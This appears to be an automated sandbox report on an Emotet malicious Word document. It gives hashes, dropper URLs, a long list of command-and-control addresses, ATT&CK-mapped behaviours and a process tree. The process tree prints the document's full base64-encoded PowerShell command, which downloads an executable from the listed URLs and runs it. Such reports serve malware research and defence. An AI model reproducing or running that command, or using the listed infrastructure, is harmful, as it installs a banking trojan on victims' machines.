emotet | 551787921209758c689eaeedfa25f09e9fa7a7d283d64c7ab5b245b028c2f9f0

General

Target
emotet_e3_551787921209758c689eaeedfa25f09e9fa7a7d283d64c7ab5b245b028c2f9f0_2020-08-11__191616._doc.doc
Size 226KB
Sample200811-cc79mnsdan
SHA256 551787921209758c689eaeedfa25f09e9fa7a7d283d64c7ab5b245b028c2f9f0
MD5 31c6f7646e8f9e9047c157259bfe1e25
SHA1 4f319701a4b75c96b7d02b4526b9b9ad4f970197
SHA512 8e89bac54874e53fc83beb6a67dd4ea61efbcc9b184bfe846cd2cd4f7c79cf4aadb5a49f172eaa0e00c554647d663b020bb12b416b337586517ce5ac2fd594e9
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://www.jonathanmuir.co.uk/wp-admin/dFxlps/
exe.dropper
http://infinitefacade.com/wp-includes/blocks/shortcode/jefi/
exe.dropper
https://mementomori.vn/verifyuser/sky1hsy8087/
exe.dropper
https://phunu21.com/wp-admin/9ZWx2laowrjq02257457/
exe.dropper
https://surprizmutluluk.com/wp-admin/OziUyZbt/

Extracted

Family

emotet

C2

92.24.51.238:80
139.99.157.213:8080
188.166.25.84:8080
81.214.253.80:443
5.79.70.250:8080
41.185.29.128:8080
181.164.110.7:80
177.37.81.212:443
203.153.216.178:7080
178.33.167.120:8080
77.74.78.80:443
37.70.131.107:80
190.164.75.175:80
75.127.14.170:8080
78.188.170.128:80
113.161.148.81:80
105.209.235.113:8080
177.144.130.105:443
81.17.93.134:80
181.134.9.162:80
163.172.107.70:8080
202.5.47.71:80
192.241.220.183:8080
201.235.10.215:80
203.153.216.182:7080
172.105.78.244:8080
139.59.12.63:8080
192.210.217.94:8080
97.104.107.190:80
31.146.61.34:80
107.161.30.122:8080
182.187.139.200:8080
188.251.213.180:443
37.46.129.215:8080
216.75.37.196:8080
176.9.93.82:7080
87.252.100.28:80
74.208.173.91:8080
198.57.203.63:8080
188.0.135.237:80
181.167.35.84:80
185.142.236.163:443
113.160.180.109:80
50.116.78.109:8080
115.165.3.213:80
187.64.128.197:80
78.189.60.109:443
153.220.182.49:80
87.106.231.60:8080
181.113.229.139:443
143.95.101.72:8080
46.32.229.152:8080
179.5.118.12:80
75.139.38.211:80
157.7.164.178:8081
190.55.233.156:80
212.112.113.235:80
185.208.226.142:8080
195.201.56.70:8080
115.78.11.155:80
192.163.221.191:8080
212.156.133.218:80
114.173.201.110:80
91.83.93.103:443
51.38.201.19:7080
46.105.131.68:8080
190.190.15.20:80
182.176.95.147:80
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	492	1748	powersheLL.exe	68

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1476-14-0x00000000001F0000-0x00000000001FC000-memory.dmp	emotet
behavioral2/memory/1476-14-0x00000000001F0000-0x00000000001FC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
26	492	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1476	259.exe
940	wmidx.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\execmodelproxy\wmidx.exe	259.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3288	WINWORD.EXE
3288	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
492	powersheLL.exe
492	powersheLL.exe
492	powersheLL.exe
940	wmidx.exe
940	wmidx.exe
940	wmidx.exe
940	wmidx.exe
940	wmidx.exe
940	wmidx.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	492	powersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE
3288	WINWORD.EXE

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 940	1476	259.exe	78
PID 1476 wrote to memory of 940	1476	259.exe	78
PID 1476 wrote to memory of 940	1476	259.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_551787921209758c689eaeedfa25f09e9fa7a7d283d64c7ab5b245b028c2f9f0_2020-08-11__191616._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3288

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABVAFMASABLAFkAaABwAG8APQAnAEIAWABBAFoATABzAHAAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAHIAYABpAHQAWQBQAHIAYABPAHQAbwBjAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFQAVwBTAEEAWQBkAGYAbQAgAD0AIAAnADIANQA5ACcAOwAkAFAAQwBCAEYAQwBuAGsAcwA9ACcAQwBFAFgAWQBaAHUAagBpACcAOwAkAEgATwBSAFIARABuAHYAawA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVABXAFMAQQBZAGQAZgBtACsAJwAuAGUAeABlACcAOwAkAFgAUQBLAEMAUABpAHUAbQA9ACcAVQBMAFoATABVAHcAeAB3ACcAOwAkAEIATQBZAFAAVAByAGwAdgA9AC4AKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAYgBjAEwAaQBlAG4AVAA7ACQASABGAFAAQgBNAGwAZQBvAD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBqAG8AbgBhAHQAaABhAG4AbQB1AGkAcgAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAGQARgB4AGwAcABzAC8AKgBoAHQAdABwADoALwAvAGkAbgBmAGkAbgBpAHQAZQBmAGEAYwBhAGQAZQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYgBsAG8AYwBrAHMALwBzAGgAbwByAHQAYwBvAGQAZQAvAGoAZQBmAGkALwAqAGgAdAB0AHAAcwA6AC8ALwBtAGUAbQBlAG4AdABvAG0AbwByAGkALgB2AG4ALwB2AGUAcgBpAGYAeQB1AHMAZQByAC8AcwBrAHkAMQBoAHMAeQA4ADAAOAA3AC8AKgBoAHQAdABwAHMAOgAvAC8AcABoAHUAbgB1ADIAMQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AOQBaAFcAeAAyAGwAYQBvAHcAcgBqAHEAMAAyADIANQA3ADQANQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AcwB1AHIAcAByAGkAegBtAHUAdABsAHUAbAB1AGsALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AegBpAFUAeQBaAGIAdAAvACcALgAiAHMAUABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBNAEYAVwBOAG8AZwBsAD0AJwBFAFoAQQBFAEIAawB1AGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEQAQwBBAEQATQB6AGUAYQAgAGkAbgAgACQASABGAFAAQgBNAGwAZQBvACkAewB0AHIAeQB7ACQAQgBNAFkAUABUAHIAbAB2AC4AIgBEAGAATwBgAHcATgBMAG8AYQBEAEYAYABJAEwARQAiACgAJABEAEMAQQBEAE0AegBlAGEALAAgACQASABPAFIAUgBEAG4AdgBrACkAOwAkAFkATgBNAFQATABwAHAAcQA9ACcASgBSAEsAQQBBAGMAcQBxACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQASABPAFIAUgBEAG4AdgBrACkALgAiAEwAZQBuAGAARwBUAGgAIgAgAC0AZwBlACAAMwA2ADQAMQA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBFAEEAdABFACIAKAAkAEgATwBSAFIARABuAHYAawApADsAJABBAEMAVgBWAEUAZwBxAG4APQAnAFAASgBQAFIATgBnAHkAagAnADsAYgByAGUAYQBrADsAJABZAEIAUABHAFgAaAB4AHQAPQAnAEQAWQBZAE8ATABwAGUAZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAFMASQBOAFUAYwBzAGIAPQAnAFQAQQBXAFQAQwB0AHoAcgAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:492

C:\Users\Admin\259.exe
C:\Users\Admin\259.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\SysWOW64\execmodelproxy\wmidx.exe
  "C:\Windows\SysWOW64\execmodelproxy\wmidx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/492-9-0x00007FF960DA0000-0x00007FF96178C000-memory.dmp

Download

memory/492-10-0x0000017FCFCF0000-0x0000017FCFCF1000-memory.dmp

Download

memory/492-11-0x0000017FE83A0000-0x0000017FE83A1000-memory.dmp

Download

memory/1476-14-0x00000000001F0000-0x00000000001FC000-memory.dmp

Download

memory/3288-0-0x00007FF968BC0000-0x00007FF969286000-memory.dmp

Download

memory/3288-5-0x0000014986234000-0x00000149862B4000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads